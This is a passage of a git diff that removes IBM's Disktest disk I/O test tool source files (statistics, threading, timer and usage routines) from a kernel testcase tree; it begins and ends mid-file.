-					     "Heartbeat Read Time: %u seconds (%luh%lum%lus)\n",
-					     hread_time, time_struct.hours,
-					     time_struct.minutes,
-					     time_struct.seconds);
-				}
-				if (args->flags & CLD_FLG_W) {
-					time_struct = format_time(hwrite_time);
-					pMsg(STAT, args,
-					     "Heartbeat Write Time: %u seconds (%luh%lum%lus)\n",
-					     hwrite_time, time_struct.hours,
-					     time_struct.minutes,
-					     time_struct.seconds);
-				}
-				break;
-			case CYCLE:	/* only display current cycle stats */
-				if (args->flags & CLD_FLG_R) {
-					time_struct = format_time(read_time);
-					pMsg(STAT, args,
-					     "Cycle Read Time: %u seconds (%luh%lum%lus)\n",
-					     read_time, time_struct.hours,
-					     time_struct.minutes,
-					     time_struct.seconds);
-				}
-				if (args->flags & CLD_FLG_W) {
-					time_struct = format_time(write_time);
-					pMsg(STAT, args,
-					     "Cycle Write Time: %u seconds (%luh%lum%lus)\n",
-					     write_time, time_struct.hours,
-					     time_struct.minutes,
-					     time_struct.seconds);
-				}
-				break;
-			case TOTAL:
-				if (args->flags & CLD_FLG_R) {
-					time_struct = format_time(gr_time);
-					pMsg(STAT, args,
-					     "Total Read Time: %u seconds (%lud%luh%lum%lus)\n",
-					     gr_time, time_struct.days,
-					     time_struct.hours,
-					     time_struct.minutes,
-					     time_struct.seconds);
-				}
-				if (args->flags & CLD_FLG_W) {
-					time_struct = format_time(gw_time);
-					pMsg(STAT, args,
-					     "Total Write Time: %u seconds (%lud%luh%lum%lus)\n",
-					     gw_time, time_struct.days,
-					     time_struct.hours,
-					     time_struct.minutes,
-					     time_struct.seconds);
-				}
-				time_struct =
-				    format_time((curr_time -
-						 global_start_time));
-				pMsg(STAT, args,
-				     "Total overall runtime: %u seconds (%lud%luh%lum%lus)\n",
-				     (curr_time - global_start_time),
-				     time_struct.days, time_struct.hours,
-				     time_struct.minutes, time_struct.seconds);
-				break;
-			default:
-				pMsg(ERR, args,
-				     "Unknown stats display type.\n");
-			}
-		}
-	}
-}
-
-void update_gbl_stats(test_env_t * env)
-{
-	env->global_stats.wcount += env->cycle_stats.wcount;
-	env->global_stats.rcount += env->cycle_stats.rcount;
-	env->global_stats.wbytes += env->cycle_stats.wbytes;
-	env->global_stats.rbytes += env->cycle_stats.rbytes;
-	env->global_stats.wtime += env->cycle_stats.wtime;
-	env->global_stats.rtime += env->cycle_stats.rtime;
-
-	env->cycle_stats.wcount = 0;
-	env->cycle_stats.rcount = 0;
-	env->cycle_stats.wbytes = 0;
-	env->cycle_stats.rbytes = 0;
-	env->cycle_stats.wtime = 0;
-	env->cycle_stats.rtime = 0;
-}
-
-void update_cyc_stats(test_env_t * env)
-{
-	env->cycle_stats.wcount += env->hbeat_stats.wcount;
-	env->cycle_stats.rcount += env->hbeat_stats.rcount;
-	env->cycle_stats.wbytes += env->hbeat_stats.wbytes;
-	env->cycle_stats.rbytes += env->hbeat_stats.rbytes;
-	env->cycle_stats.wtime += env->hbeat_stats.wtime;
-	env->cycle_stats.rtime += env->hbeat_stats.rtime;
-
-	env->hbeat_stats.wcount = 0;
-	env->hbeat_stats.rcount = 0;
-	env->hbeat_stats.wbytes = 0;
-	env->hbeat_stats.rbytes = 0;
-	env->hbeat_stats.wtime = 0;
-	env->hbeat_stats.rtime = 0;
-}
diff --git a/testcases/kernel/io/disktest/stats.h b/testcases/kernel/io/disktest/stats.h
deleted file mode 100644
index 0470e51..0000000
--- a/testcases/kernel/io/disktest/stats.h
+++ /dev/null
@@ -1,95 +0,0 @@
-/*
-* Disktest
-* Copyright (c) International Business Machines Corp., 2001
-*
-*
-* This program is free software; you can redistribute it and/or modify
-* it under the terms of the GNU General Public License as published by
-* the Free Software Foundation; either version 2 of the License, or
-* (at your option) any later version.
-*
-* This program is distributed in the hope that it will be useful,
-* but WITHOUT ANY WARRANTY; without even the implied warranty of
-* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-* GNU General Public License for more details.
-*
-* You should have received a copy of the GNU General Public License
-* along with this program; if not, write to the Free Software
-* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
-*
-*  Please send e-mail to yardleyb@us.ibm.com if you have
-*  questions or comments.
-*
-*  Project Website:  TBD
-*
-* $Id: stats.h,v 1.2 2008/02/14 08:22:24 subrata_modak Exp $
-*
-*/
-
-#ifndef _STATS_H
-#define _STATS_H
-
-#ifdef WINDOWS
-#include <windows.h>
-#include <winioctl.h>
-#include <io.h>
-#include <process.h>
-#include <sys/stat.h>
-#else
-#include <sys/types.h>
-#include <sys/ioctl.h>
-#include <unistd.h>
-#endif
-
-#include <stdio.h>
-#include <stdlib.h>
-#include <stdarg.h>
-#include <signal.h>
-#include <time.h>
-#include <errno.h>
-#include "defs.h"
-
-#ifdef WINDOWS
-#define CTRSTR "%I64d;Rbytes;%I64d;Rxfers;"
-#define CTWSTR "%I64d;Wbytes;%I64d;Wxfers;"
-#define TCTRSTR "%I64d;TRbytes;%I64d;TRxfers;"
-#define TCTWSTR "%I64d;TWbytes;%I64d;TWxfers;"
-#define HRTSTR "%I64d bytes read in %I64d transfers during heartbeat.\n"
-#define HWTSTR "%I64d bytes written in %I64d transfers during heartbeat.\n"
-#define CRTSTR "%I64d bytes read in %I64d transfers during cycle.\n"
-#define CWTSTR "%I64d bytes written in %I64d transfers during cycle.\n"
-#define TRTSTR "Total bytes read in %I64d transfers: %I64d\n"
-#define TWTSTR "Total bytes written in %I64d transfers: %I64d\n"
-#else
-#define CTRSTR "%lld;Rbytes;%lld;Rxfers;"
-#define CTWSTR "%lld;Wbytes;%lld;Wxfers;"
-#define TCTRSTR "%lld;TRbytes;%lld;TRxfers;"
-#define TCTWSTR "%lld;TWbytes;%lld;TWxfers;"
-#define HRTSTR "%lld bytes read in %lld transfers during heartbeat.\n"
-#define HWTSTR "%lld bytes written in %lld transfers during heartbeat.\n"
-#define CRTSTR "%lld bytes read in %lld transfers during cycle.\n"
-#define CWTSTR "%lld bytes written in %lld transfers during cycle.\n"
-#define TRTSTR "Total bytes read in %lld transfers: %lld\n"
-#define TWTSTR "Total bytes written in %lld transfers: %lld\n"
-#endif
-#define HRTHSTR "Heartbeat read throughput: %.1fB/s (%.2fMB/s), IOPS %.1f/s.\n"
-#define HWTHSTR "Heartbeat write throughput: %.1fB/s (%.2fMB/s), IOPS %.1f/s.\n"
-#define CRTHSTR "Cycle read throughput: %.1fB/s (%.2fMB/s), IOPS %.1f/s.\n"
-#define CWTHSTR "Cycle write throughput: %.1fB/s (%.2fMB/s), IOPS %.1f/s.\n"
-#define TRTHSTR "Total read throughput: %.1fB/s (%.2fMB/s), IOPS %.1f/s.\n"
-#define TWTHSTR "Total write throughput: %.1fB/s (%.2fMB/s), IOPS %.1f/s.\n"
-#define CTRRSTR "%.1f;RB/s;%.1f;RIOPS;"
-#define CTRWSTR "%.1f;WB/s;%.1f;WIOPS;"
-#define TCTRRSTR "%.1f;TRB/s;%.1f;TRIOPS;"
-#define TCTRWSTR "%.1f;TWB/s;%.1f;TWIOPS;"
-
-typedef enum statop {
-	HBEAT,CYCLE,TOTAL
-} statop_t;
-
-
-void print_stats(child_args_t *, test_env_t *, statop_t);
-void update_gbl_stats(test_env_t *);
-void update_cyc_stats(test_env_t *);
-
-#endif /* _STATS_H */
diff --git a/testcases/kernel/io/disktest/threading.c b/testcases/kernel/io/disktest/threading.c
deleted file mode 100644
index 007737f..0000000
--- a/testcases/kernel/io/disktest/threading.c
+++ /dev/null
@@ -1,244 +0,0 @@
-/*
-* Disktest
-* Copyright (c) International Business Machines Corp., 2001
-*
-*
-* This program is free software; you can redistribute it and/or modify
-* it under the terms of the GNU General Public License as published by
-* the Free Software Foundation; either version 2 of the License, or
-* (at your option) any later version.
-*
-* This program is distributed in the hope that it will be useful,
-* but WITHOUT ANY WARRANTY; without even the implied warranty of
-* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-* GNU General Public License for more details.
-*
-* You should have received a copy of the GNU General Public License
-* along with this program; if not, write to the Free Software
-* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
-*
-*  Please send e-mail to yardleyb@us.ibm.com if you have
-*  questions or comments.
-*
-*  Project Website:  TBD
-*
-* $Id: threading.c,v 1.7 2009/02/26 12:14:53 subrata_modak Exp $
-* $Log: threading.c,v $
-* Revision 1.7  2009/02/26 12:14:53  subrata_modak
-* Clean Trailing Tab: Signed-off-by: Michal Simek <monstr@monstr.eu>.
-*
-* Revision 1.6  2009/02/26 12:02:23  subrata_modak
-* Clear Trailing Whitespace. Signed-off-by: Michal Simek <monstr@monstr.eu>.
-*
-* Revision 1.5  2008/02/14 08:22:24  subrata_modak
-* Disktest application update to version 1.4.2, by, Brent Yardley <yardleyb@us.ibm.com>
-*
-* Revision 1.11  2006/04/21 23:10:43  yardleyb
-* Major updates for v1_3_3 of disktest.  View README for details.
-*
-* Revision 1.10  2004/11/20 04:43:42  yardleyb
-* Minor code fixes.  Checking for alloc errors.
-*
-* Revision 1.9  2004/11/19 21:45:12  yardleyb
-* Fixed issue with code added for -F option.  Cased disktest
-* to SEG FAULT when cleaning up threads.
-*
-* Revision 1.8  2004/11/02 20:47:13  yardleyb
-* Added -F functions.
-* lots of minor fixes. see README
-*
-* Revision 1.7  2002/04/24 01:45:31  yardleyb
-* Minor Fixes:
-* Read/write time could exceeds overall time
-* Heartbeat options sometimes only displayed once
-* Cleanup time for large number of threads was very long (windows)
-* If heartbeat specified, now checks for performance option also
-* No IO was performed when -S0:0 and -pr specified
-*
-* Revision 1.6  2002/03/30 01:32:14  yardleyb
-* Major Changes:
-*
-* Added Dumping routines for
-* data miscompares,
-*
-* Updated performance output
-* based on command line.  Gave
-* one decimal in MB/s output.
-*
-* Rewrote -pL IO routine to show
-* correct stats.  Now show pass count
-* when using -C.
-*
-* Minor Changes:
-*
-* Code cleanup to remove the plethera
-* if #ifdef for windows/unix functional
-* differences.
-*
-* Revision 1.5  2002/03/07 03:30:11  yardleyb
-* Return errno on thread
-* create failure
-*
-* Revision 1.4  2002/02/28 04:25:45  yardleyb
-* reworked threading code
-* made locking code a macro.
-*
-* Revision 1.3  2002/02/19 02:46:37  yardleyb
-* Added changes to compile for AIX.
-* Update getvsiz so it returns a -1
-* if the ioctl fails and we handle
-* that fact correctly.  Added check
-* to force vsiz to always be greater
-* then stop_lba.
-*
-* Revision 1.2  2002/02/04 20:35:38  yardleyb
-* Changed max. number of threads to 64k.
-* Check for max threads in parsing.
-* Fixed windows getopt to return correctly
-* when a bad option is given.
-* Update time output to be in the format:
-*   YEAR/MONTH/DAY-HOUR:MIN:SEC
-* instead of epoch time.
-*
-* Revision 1.1  2001/12/04 18:51:06  yardleyb
-* Checkin of new source files and removal
-* of outdated source
-*
-*/
-
-#ifdef WINDOWS
-#include <windows.h>
-#else
-#include <pthread.h>
-#include <sys/types.h>
-#include <unistd.h>
-#include <string.h>
-#endif
-
-#include "defs.h"
-#include "sfunc.h"
-#include "main.h"
-#include "childmain.h"
-#include "threading.h"
-
-/*
- * This routine will sit waiting for all threads to exit.  In
- * unix, this is done through pthread_join.  In Windows we
- * use a sleeping loop.
- */
-void cleanUpTestChildren(test_ll_t * test)
-{
-	thread_struct_t *pTmpThread = NULL, *pTmpThreadLast = NULL;
-
-	while (test->env->pThreads) {
-		pTmpThread = test->env->pThreads->next;
-		pTmpThreadLast = test->env->pThreads;
-
-		closeThread(pTmpThreadLast->hThread);
-
-		test->env->pThreads = pTmpThread;
-		FREE(pTmpThreadLast);
-		test->env->kids--;
-	}
-}
-
-/*
- * This function will create children for us based on the action specified
- * during the call.  if we cannot create a child, we fail and exit with
- * errno as the exit status.
- */
-void CreateTestChild(void *function, test_ll_t * test)
-{
-	thread_struct_t *pNewThread;
-	hThread_t hTmpThread;
-
-	hTmpThread = spawnThread(function, test);
-
-	if (ISTHREADVALID(hTmpThread)) {
-		if ((pNewThread =
-		     (thread_struct_t *) ALLOC(sizeof(thread_struct_t))) ==
-		    NULL) {
-			pMsg(ERR, test->args,
-			     "%d : Could not allocate memory for child thread...\n",
-			     GETLASTERROR());
-			exit(GETLASTERROR());
-		}
-		test->env->kids++;
-		memset(pNewThread, 0, sizeof(thread_struct_t));
-		pNewThread->next = test->env->pThreads;
-		test->env->pThreads = pNewThread;
-		test->env->pThreads->hThread = hTmpThread;
-	} else {
-		pMsg(ERR, test->args,
-		     "%d : Could not create all child threads.\n",
-		     GETLASTERROR());
-		pMsg(INFO, test->args,
-		     "Total Number of Threads created was %u\n",
-		     test->env->kids);
-		exit(GETLASTERROR());
-	}
-}
-
-void createChild(void *function, test_ll_t * test)
-{
-	hThread_t hTmpThread;
-
-	hTmpThread = spawnThread(function, test);
-
-	if (ISTHREADVALID(hTmpThread)) {
-		test->hThread = hTmpThread;
-	} else {
-		pMsg(ERR, test->args, "%d : Could not create child thread...\n",
-		     GETLASTERROR());
-		exit(GETLASTERROR());
-	}
-}
-
-void cleanUp(test_ll_t * test)
-{
-	test_ll_t *pTmpTest = test;
-	test_ll_t *pLastTest;
-	while (pTmpTest != NULL) {
-		pLastTest = pTmpTest;
-		pTmpTest = pTmpTest->next;
-		closeThread(pLastTest->hThread);
-		FREE(pLastTest->env->action_list);
-		FREE(pLastTest->args);
-		FREE(pLastTest->env);
-		FREE(pLastTest);
-	}
-}
-
-hThread_t spawnThread(void *function, void *param)
-{
-	hThread_t hTmpThread;
-
-#ifdef WINDOWS
-	hTmpThread = CreateThread(NULL, 0, function, param, 0, NULL);
-#else
-	if (pthread_create(&hTmpThread, NULL, function, param) != 0) {
-		hTmpThread = 0;
-	}
-#endif
-
-	return hTmpThread;
-}
-
-void closeThread(hThread_t hThread)
-{
-#ifdef WINDOWS
-	DWORD dwExitCode = 0;
-
-	do {
-		GetExitCodeThread(hThread, &dwExitCode);
-		/*
-		 * Sleep(0) will force this thread to
-		 * relinquish the remainder of its time slice
-		 */
-		if (dwExitCode == STILL_ACTIVE)
-			Sleep(0);
-	} while (dwExitCode == STILL_ACTIVE);
-#else
-	pthread_join(hThread, NULL);
-#endif
-}
diff --git a/testcases/kernel/io/disktest/threading.h b/testcases/kernel/io/disktest/threading.h
deleted file mode 100644
index 6f04d51..0000000
--- a/testcases/kernel/io/disktest/threading.h
+++ /dev/null
@@ -1,130 +0,0 @@
-/*
-* Tapetest
-* Copyright (c) International Business Machines Corp., 2001
-*
-*
-* This program is free software; you can redistribute it and/or modify
-* it under the terms of the GNU General Public License as published by
-* the Free Software Foundation; either version 2 of the License, or
-* (at your option) any later version.
-*
-* This program is distributed in the hope that it will be useful,
-* but WITHOUT ANY WARRANTY; without even the implied warranty of
-* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-* GNU General Public License for more details.
-*
-* You should have received a copy of the GNU General Public License
-* along with this program; if not, write to the Free Software
-* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
-*
-*  Please send e-mail to yardleyb@us.ibm.com if you have
-*  questions or comments.
-*
-*  Project Website:  TBD
-*
-* $Id: threading.h,v 1.7 2008/02/14 08:22:24 subrata_modak Exp $
-* $Log: threading.h,v $
-* Revision 1.7  2008/02/14 08:22:24  subrata_modak
-* Disktest application update to version 1.4.2, by, Brent Yardley <yardleyb@us.ibm.com>
-*
-* Revision 1.9  2008/02/07 17:37:26  yardleyb
-* "yxu@suse.de" corrected the way by which pthread_exit() handles pointer argument
-*
-* Revision 1.8  2004/11/20 04:43:42  yardleyb
-* Minor code fixes.  Checking for alloc errors.
-*
-* Revision 1.7  2004/11/19 21:45:12  yardleyb
-* Fixed issue with code added for -F option.  Cased disktest
-* to SEG FAULT when cleaning up threads.
-*
-* Revision 1.6  2004/11/02 20:47:13  yardleyb
-* Added -F functions.
-* lots of minor fixes. see README
-*
-* Revision 1.5  2002/03/30 01:32:14  yardleyb
-* Major Changes:
-*
-* Added Dumping routines for
-* data miscompares,
-*
-* Updated performance output
-* based on command line.  Gave
-* one decimal in MB/s output.
-*
-* Rewrote -pL IO routine to show
-* correct stats.  Now show pass count
-* when using -C.
-*
-* Minor Changes:
-*
-* Code cleanup to remove the plethera
-* if #ifdef for windows/unix functional
-* differences.
-*
-* Revision 1.4  2002/02/28 04:25:45  yardleyb
-* reworked threading code
-* made locking code a macro.
-*
-* Revision 1.3  2002/02/19 02:46:37  yardleyb
-* Added changes to compile for AIX.
-* Update getvsiz so it returns a -1
-* if the ioctl fails and we handle
-* that fact correctly.  Added check
-* to force vsiz to always be greater
-* then stop_lba.
-*
-* Revision 1.2  2002/02/04 20:35:38  yardleyb
-* Changed max. number of threads to 64k.
-* Check for max threads in parsing.
-* Fixed windows getopt to return correctly
-* when a bad option is given.
-* Update time output to be in the format:
-*   YEAR/MONTH/DAY-HOUR:MIN:SEC
-* instead of epoch time.
-*
-* Revision 1.1  2001/12/04 18:51:06  yardleyb
-* Checkin of new source files and removal
-* of outdated source
-*
-*/
-
-#ifndef THREADING_H
-#define THREADING_H 1
-
-#ifdef WINDOWS
-#include <windows.h>
-#else
-#include <pthread.h>
-#include <sys/types.h>
-#include <unistd.h>
-#endif
-
-#include "defs.h"
-#include "main.h"
-
-#define MAX_THREADS 65536		/* max number of threads, reader/writer, per test */
-
-#ifdef WINDOWS
-#define LOCK(Mutex) WaitForSingleObject((void *) Mutex, INFINITE)
-#define UNLOCK(Mutex) ReleaseMutex((void *) Mutex)
-#define TEXIT(errno) ExitThread(errno); return(errno)
-#define ISTHREADVALID(thread) (thread != NULL)
-#else
-#define LOCK(Mutex) \
-		pthread_cleanup_push((void *) pthread_mutex_unlock, (void *) &Mutex); \
-		pthread_mutex_lock(&Mutex)
-#define UNLOCK(Mutex) \
-		pthread_mutex_unlock(&Mutex); \
-		pthread_cleanup_pop(0)
-#define TEXIT(errno) pthread_exit((void*)errno)
-#define ISTHREADVALID(thread) (thread != 0)
-#endif
-
-void cleanUpTestChildren(test_ll_t *);
-void CreateTestChild(void *, test_ll_t *);
-hThread_t spawnThread(void *, void *);
-void closeThread(hThread_t);
-void createChild(void *, test_ll_t *);
-void cleanUp(test_ll_t *);
-
-#endif /* THREADING_H */
diff --git a/testcases/kernel/io/disktest/timer.c b/testcases/kernel/io/disktest/timer.c
deleted file mode 100644
index f47fa7d..0000000
--- a/testcases/kernel/io/disktest/timer.c
+++ /dev/null
@@ -1,252 +0,0 @@
-/*
-* $Id: timer.c,v 1.6 2009/02/26 12:02:23 subrata_modak Exp $
-* Disktest
-* Copyright (c) International Business Machines Corp., 2001
-*
-*
-* This program is free software; you can redistribute it and/or modify
-* it under the terms of the GNU General Public License as published by
-* the Free Software Foundation; either version 2 of the License, or
-* (at your option) any later version.
-*
-* This program is distributed in the hope that it will be useful,
-* but WITHOUT ANY WARRANTY; without even the implied warranty of
-* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-* GNU General Public License for more details.
-*
-* You should have received a copy of the GNU General Public License
-* along with this program; if not, write to the Free Software
-* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
-*
-*  Please send e-mail to yardleyb@us.ibm.com if you have
-*  questions or comments.
-*
-*  Project Website:  TBD
-*
-* $Id: timer.c,v 1.6 2009/02/26 12:02:23 subrata_modak Exp $
-*
-*/
-#include <stdio.h>
-#ifdef WINDOWS
-#include <windows.h>
-#include <winioctl.h>
-#include <io.h>
-#include <process.h>
-#include <sys/stat.h>
-#include "getopt.h"
-#else
-#include <sys/types.h>
-#include <sys/time.h>
-#include <unistd.h>
-#endif
-#include <stdlib.h>
-#include <stdarg.h>
-#include <stdint.h>
-#include <signal.h>
-#include <time.h>
-#include <errno.h>
-#include <fcntl.h>
-#include <string.h>
-#include <ctype.h>
-
-#include "defs.h"
-#include "globals.h"
-#include "threading.h"
-#include "sfunc.h"
-#include "stats.h"
-#include "signals.h"
-
-/*
- * The main purpose of this thread is track time during the test. Along with
- * keeping track of read/write time. And check that each interval, that the
- * IO threads are making progress. The timer thread is started before any IO
- * threads and will complete either after all IO threads exit, the test fails,
- * or if a timed run, the run time is exceeded.
- */
-#ifdef WINDOWS
-DWORD WINAPI ChildTimer(test_ll_t * test)
-#else
-void *ChildTimer(void *vtest)
-#endif
-{
-#ifndef WINDOWS
-	test_ll_t *test = (test_ll_t *) vtest;
-#endif
-	time_t ioTimeoutCount = 0;
-	time_t total_time = 0;
-	OFF_T cur_total_io_count = 0;
-	OFF_T last_total_io_count = 0;
-
-	OFF_T tmp_io_count = 0;
-	time_t run_time = 0;
-
-	lvl_t msg_level = WARN;
-
-	child_args_t *args = test->args;
-	test_env_t *env = test->env;
-
-	extern int signal_action;
-	extern unsigned short glb_run;
-
-#ifdef _DEBUG
-	PDBG3(DBUG, args, "In timer %lu, %d\n", time(NULL), env->bContinue);
-#endif
-	do {
-		Sleep(1000);
-		run_time++;
-#ifdef _DEBUG
-		PDBG3(DBUG, args, "Continue timing %lu, %lu, %d\n", time(NULL),
-		      run_time, env->bContinue);
-#endif
-		if (args->flags & CLD_FLG_W) {
-			if ((args->flags & CLD_FLG_LINEAR)
-			    && !(args->flags & CLD_FLG_NTRLVD)) {
-				if (TST_OPER(args->test_state) == WRITER) {
-					env->hbeat_stats.wtime++;
-				}
-			} else {
-				env->hbeat_stats.wtime++;
-			}
-		}
-		if (args->flags & CLD_FLG_R) {
-			if ((args->flags & CLD_FLG_LINEAR)
-			    && !(args->flags & CLD_FLG_NTRLVD)) {
-				if (TST_OPER(args->test_state) == READER) {
-					env->hbeat_stats.rtime++;
-				}
-			} else {
-				env->hbeat_stats.rtime++;
-			}
-		}
-
-		/*
-		 * Check to see if we have made any IO progress in the last interval,
-		 * if not incremment the ioTimeout timer, otherwise, clear it
-		 */
-		cur_total_io_count = env->global_stats.wcount
-		    + env->cycle_stats.wcount
-		    + env->hbeat_stats.wcount
-		    + env->global_stats.rcount
-		    + env->cycle_stats.rcount + env->hbeat_stats.rcount;
-
-		if (cur_total_io_count == 0) {
-			tmp_io_count = 1;
-		} else {
-			tmp_io_count = cur_total_io_count;
-		}
-
-		total_time = env->global_stats.rtime
-		    + env->cycle_stats.rtime
-		    + env->hbeat_stats.rtime
-		    + env->global_stats.wtime
-		    + env->cycle_stats.wtime + env->hbeat_stats.wtime;
-
-#ifdef _DEBUG
-		PDBG3(DBUG, args, "average number of seconds per IO: %0.8lf\n",
-		      ((double)(total_time) / (double)(tmp_io_count)));
-#endif
-
-		if (cur_total_io_count == last_total_io_count) {	/* no IOs completed in interval */
-			if (0 == (++ioTimeoutCount % args->ioTimeout)) {	/* no progress after modulo ioTimeout interval */
-				if (args->flags & CLD_FLG_TMO_ERROR) {
-					args->test_state =
-					    SET_STS_FAIL(args->test_state);
-					env->bContinue = FALSE;
-					msg_level = ERR;
-				}
-				pMsg(msg_level, args,
-				     "Possible IO hang condition, IO timeout reached, %lu seconds\n",
-				     args->ioTimeout);
-			}
-#ifdef _DEBUG
-			PDBG3(DBUG, args, "io timeout count: %lu\n",
-			      ioTimeoutCount);
-#endif
-		} else {
-			ioTimeoutCount = 0;
-			last_total_io_count = cur_total_io_count;
-#ifdef _DEBUG
-			PDBG3(DBUG, args, "io timeout reset\n");
-#endif
-		}
-
-		if (((args->hbeat > 0) && ((run_time % args->hbeat) == 0))
-		    || (signal_action & SIGNAL_STAT)) {
-			print_stats(args, env, HBEAT);
-			update_cyc_stats(env);
-			clear_stat_signal();
-		}
-
-		if (glb_run == 0) {
-			break;
-		}		/* global run flag cleared */
-		if (signal_action & SIGNAL_STOP) {
-			break;
-		}
-		/* user request to stop */
-		if (args->flags & CLD_FLG_TMD) {	/* if timing */
-			if (run_time >= args->run_time) {	/* and run time exceeded */
-				break;
-			}
-		} else {	/* if not timing */
-			if (env->kids <= 1) {	/* and the timer is the only child */
-				break;
-			}
-		}
-	} while (TRUE);
-#ifdef _DEBUG
-	PDBG3(DBUG, args, "Out of timer %lu, %lu, %d, %d\n", time(NULL),
-	      run_time, env->bContinue, env->kids);
-#endif
-
-	if (args->flags & CLD_FLG_TMD) {	/* timed test, timer exit needs to stop io threads */
-#ifdef _DEBUG
-		PDBG3(DBUG, args,
-		      "Setting bContinue to FALSE, timed test & timer exit\n");
-#endif
-		env->bContinue = FALSE;
-	}
-
-	TEXIT((uintptr_t) GETLASTERROR());
-}
-
-#ifdef _DEBUG
-#ifdef WINDOWS
-DWORD startTime;
-DWORD endTime;
-
-void setStartTime(void)
-{
-	startTime = GetTickCount();
-}
-
-void setEndTime(void)
-{
-	endTime = GetTickCount();
-}
-
-unsigned long getTimeDiff(void)
-{
-	return ((endTime - startTime) * 1000);	/* since we report in usecs, and windows is msec, multiply by 1000 */
-}
-#else
-struct timeval tv_start;
-struct timeval tv_end;
-
-void setStartTime(void)
-{
-	gettimeofday(&tv_start, NULL);
-}
-
-void setEndTime(void)
-{
-	gettimeofday(&tv_end, NULL);
-}
-
-unsigned long getTimeDiff(void)
-{
-	return (tv_end.tv_usec - tv_start.tv_usec);
-}
-
-#endif
-#endif
diff --git a/testcases/kernel/io/disktest/timer.h b/testcases/kernel/io/disktest/timer.h
deleted file mode 100644
index 98e7d83..0000000
--- a/testcases/kernel/io/disktest/timer.h
+++ /dev/null
@@ -1,44 +0,0 @@
-/*
-* $Id: timer.h,v 1.2 2008/02/14 08:22:24 subrata_modak Exp $
-* Disktest
-* Copyright (c) International Business Machines Corp., 2001
-*
-*
-* This program is free software; you can redistribute it and/or modify
-* it under the terms of the GNU General Public License as published by
-* the Free Software Foundation; either version 2 of the License, or
-* (at your option) any later version.
-*
-* This program is distributed in the hope that it will be useful,
-* but WITHOUT ANY WARRANTY; without even the implied warranty of
-* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-* GNU General Public License for more details.
-*
-* You should have received a copy of the GNU General Public License
-* along with this program; if not, write to the Free Software
-* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
-*
-*  Please send e-mail to yardleyb@us.ibm.com if you have
-*  questions or comments.
-*
-*  Project Website:  TBD
-*
-* $Id: timer.h,v 1.2 2008/02/14 08:22:24 subrata_modak Exp $
-*
-*/
-
-#ifndef _TIMER_H_ /* _TIMER_H */
-#define _TIMER_H_
-
-void setStartTime(void);
-void setEndTime(void);
-unsigned long getTimeDiff(void);
-
-#ifdef WINDOWS
-DWORD WINAPI ChildTimer(test_ll_t *);
-#else
-void *ChildTimer(void *);
-#endif
-
-
-#endif /* _TIMER_H */
diff --git a/testcases/kernel/io/disktest/usage.c b/testcases/kernel/io/disktest/usage.c
deleted file mode 100644
index b071db1..0000000
--- a/testcases/kernel/io/disktest/usage.c
+++ /dev/null
@@ -1,72 +0,0 @@
-/*
-* Disktest
-* Copyright (c) International Business Machines Corp., 2001
-*
-*
-* This program is free software; you can redistribute it and/or modify
-* it under the terms of the GNU General Public License as published by
-* the Free Software Foundation; either version 2 of the License, or
-* (at your option) any later version.
-*
-* This program is distributed in the hope that it will be useful,
-* but WITHOUT ANY WARRANTY; without even the implied warranty of
-* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-* GNU General Public License for more details.
-*
-* You should have received a copy of the GNU General Public License
-* along with this program; if not, write to the Free Software
-* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
-*
-*  Please send e-mail to yardleyb@us.ibm.com if you have
-*  questions or comments.
-*
-*  Project Website:  TBD
-*
-* $Id: usage.c,v 1.5 2008/02/14 08:22:24 subrata_modak Exp $
-*
-*/
-
-#include <stdio.h>
-
-void usage(void)
-{
-	printf("\n");
-	printf("\tdisktest [OPTIONS...] filespec\n");
-	printf("\t-?\t\tDisplay this help text and exit.\n");
-	printf("\t-a seed\t\tSets seed for random number generation.\n");
-	printf("\t-A action\tSpecifies modified actions during runtime.\n");
-	printf("\t-B lblk[:hblk]\tSet the block transfer size.\n");
-	printf("\t-c\t\tUse a counting sequence as the data pattern.\n");
-	printf
-	    ("\t-C cycles\tRun until cycles disk access cycles are complete.\n");
-	printf("\t-d\t\tDump data to standard out and exit.\n");
-	printf("\t-D r%%:w%%\tDuty cycle used while reading and/or writing.\n");
-	printf
-	    ("\t-E cmp_len\tTurn on error checking comparing <cmp_len> bytes.\n");
-	printf("\t-f byte\t\tUse a fixed data pattern up to 8 bytes.\n");
-	printf("\t-F \t\tfilespec is a file describing a list of targets\n");
-	printf
-	    ("\t-h hbeat\tDisplays performance statistic every <hbeat> seconds.\n");
-	printf("\t-I IO_type\tSet the data transfer type to IO_type.\n");
-	printf("\t-K threads\tSet the number of test threads.\n");
-	printf("\t-L seeks\tTotal number of seeks to occur.\n");
-	printf("\t-m\t\tMark each LBA with header information.\n");
-	printf("\t-M marker\tSpecify an alternate marker then start time.\n");
-	printf("\t-n\t\tUse the LBA number as the data pattern.\n");
-	printf("\t-N num_secs\tSet the number of available sectors.\n");
-	printf("\t-o offset\tSet lba alignment offset.\n");
-	printf("\t-p seek_pattern\tSet the pattern of disk seeks.\n");
-	printf("\t-P perf_opts\tDisplays performance statistic.\n");
-	printf("\t-q\t\tSuppress INFO level messages.\n");
-	printf("\t-Q\t\tSuppress header information on messages.\n");
-	printf("\t-r\t\tRead data from disk.\n");
-	printf
-	    ("\t-R rty[:dly]\tNumber of retries / retry delay after failure.\n");
-	printf("\t-s sLBA[:eLBA]\tSet the start [and stop] test LBA.\n");
-	printf("\t-S sblk[:eblk]\tSet the start [and stop] test block.\n");
-	printf("\t-t dMin[:dMax][:ioTMO] set IO timing /timeout operations.\n");
-	printf("\t-T runtime\tRun until <runtime> seconds have elapsed.\n");
-	printf("\t-w\t\tWrite data to disk.\n");
-	printf("\t-v\t\tDisplay version information and exit.\n");
